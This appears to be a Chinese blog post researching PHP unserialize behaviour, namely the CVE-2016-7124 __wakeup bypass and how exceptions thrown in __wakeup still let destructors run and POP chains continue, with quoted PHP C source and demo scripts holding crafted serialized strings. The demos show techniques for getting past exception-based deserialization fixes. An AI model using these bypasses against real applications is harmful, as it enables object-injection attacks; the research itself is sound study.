php中throw异常的问题研究 前置 在几年前,2016
吧,php
中存在一个漏洞叫做CVE-2016-7124
这是关于php
中反序列化的,我们都知道在php
进行反序列化的时候,首先会调用__wakeup
方法,然后才会去调用类得析构方法
很多php
中反序列化的修补措施为:抛出一个异常
1 2 3 4 public function __wakeup ( ) { throw new \LogicException ('FnStream should never be unserialized' ); }
这个漏洞是干什么的呢?
关于__wakeup
魔术方法的绕过问题
当 序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup
的执行
影响版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static inline long object_common1 (UNSERIALIZE_PARAMETER, zend_class_entry *ce) {... if (ce->serialize == NULL ) { object_init_ex(*rval, ce); <=== create object ... static inline int object_common2(UNSERIALIZE_PARAMETER, long elements){ ... if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1 )) { <=== create object properties return 0 ; } if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY && zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup" , sizeof ("__wakeup" ))) { INIT_PZVAL(&fname); ZVAL_STRINGL(&fname, "__wakeup" , sizeof ("__wakeup" ) - 1 , 0 ); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0 , 0 , 1 , NULL TSRMLS_CC); <=== call to __wakeup() BG(serialize_lock)--; }
1 If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been created, then the unexpected object will be destroyed (or may not). This may cause some security issues.
如上所示,就是当process_nested_data
的返回值是0
的时候,会跳过对__wakeup
的调用直接返回0
,但是由于这个时候类已经被初始化了,所以会继续进行析构
demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class test { public $test = "test" ; public function __wakeup ( ) { echo "this is __wakeup" ; echo "\n" ; } public function __destruct ( ) { echo "this is __destruct" ; echo "\n" ; } } $str_1 = 'O:4:"test":1:{s:4:"test";s:4:"test";}' ;$str_2 = 'O:4:"test":2:{s:4:"test";s:4:"test";}' ;echo PHP_VERSION;echo "\n" ;unserialize($str_1 ); echo file_get_contents("test.php" );?>
第一种结果
第二种结果
发现并没有调用__wakeup
方法
对比底层代码
可以看到无论个数是否一致,都要先判断是否存在__wakeup
方法
导致无法被绕过
新的发现 在上面的对比图片中,还发现删除了其他的东西
1 2 3 if (EG(exception)) { return 0 ; }
大概意思是,当执行完__wakeup
方法后,抓取到异常,则return 0
这必须思考一个问题就是:
在php
中所谓的throw
一个异常之后,php
代码则中断执行
在这里,可能会存在一个问题
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class test { public $test = "aaaa" ; public function __wakeup ( ) { throw new \LogicException ('Never be unserialized' ); } public function __destruct ( ) { echo "this is __destruct" ; echo "\n" ; } } $str_1 = 'O:4:"test":1:{s:4:"test";s:4:"test";}' ;echo PHP_VERSION;echo "\n" ;$obj = unserialize($str_1 );echo $obj ->test;echo "\n" ;echo file_get_contents("test.php" );?>
结果
可以看到,c
代码接受到异常之后return 0
,那看来这个返回值,返回之后就是去调用析构方法了
析构方法被成功执行,但是析构完成之后马上抛出了异常,导致下面的输出语句并没有生效
意思就是很简单
在存在cve-2016-7124
的版本,无需特意去修改个数的问题,反序列化操作可以成功执行
更进一步 这漏洞很明显没有办法使用了
不看代码,盲测throw
是否还存在其他的问题
在除了5.6.25-7.0.9
版本之外的版本中
存在__wakeup
跑出异常的类,无法再作为反序列化pop
链的入口点
但是经过测试,是可以作为中间节点的,throw
异常仍然存在逻辑性问题
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file("demo.php" ); class A { protected $a ; public function __construct ($str ) { $this ->a = $str ; } public function __call ($name ,$args ) { echo ($this ->a); echo "<br>" ; } public function __wakeup ( ) { throw new Exception ("error" ); } } class B { public $b ; public function __destruct ( ) { $this ->b->close(); } } $a = new A("phpinfo" );$b = new B();$b ->b = $a ;$c = serialize($b );echo PHP_VERSION;echo "<br>" ;unserialize($c );
测试结果
虽然最后仍然会抛出致命错误,但是仍然可以成功反序列化,且变量未被置空
end 还是有不少用途的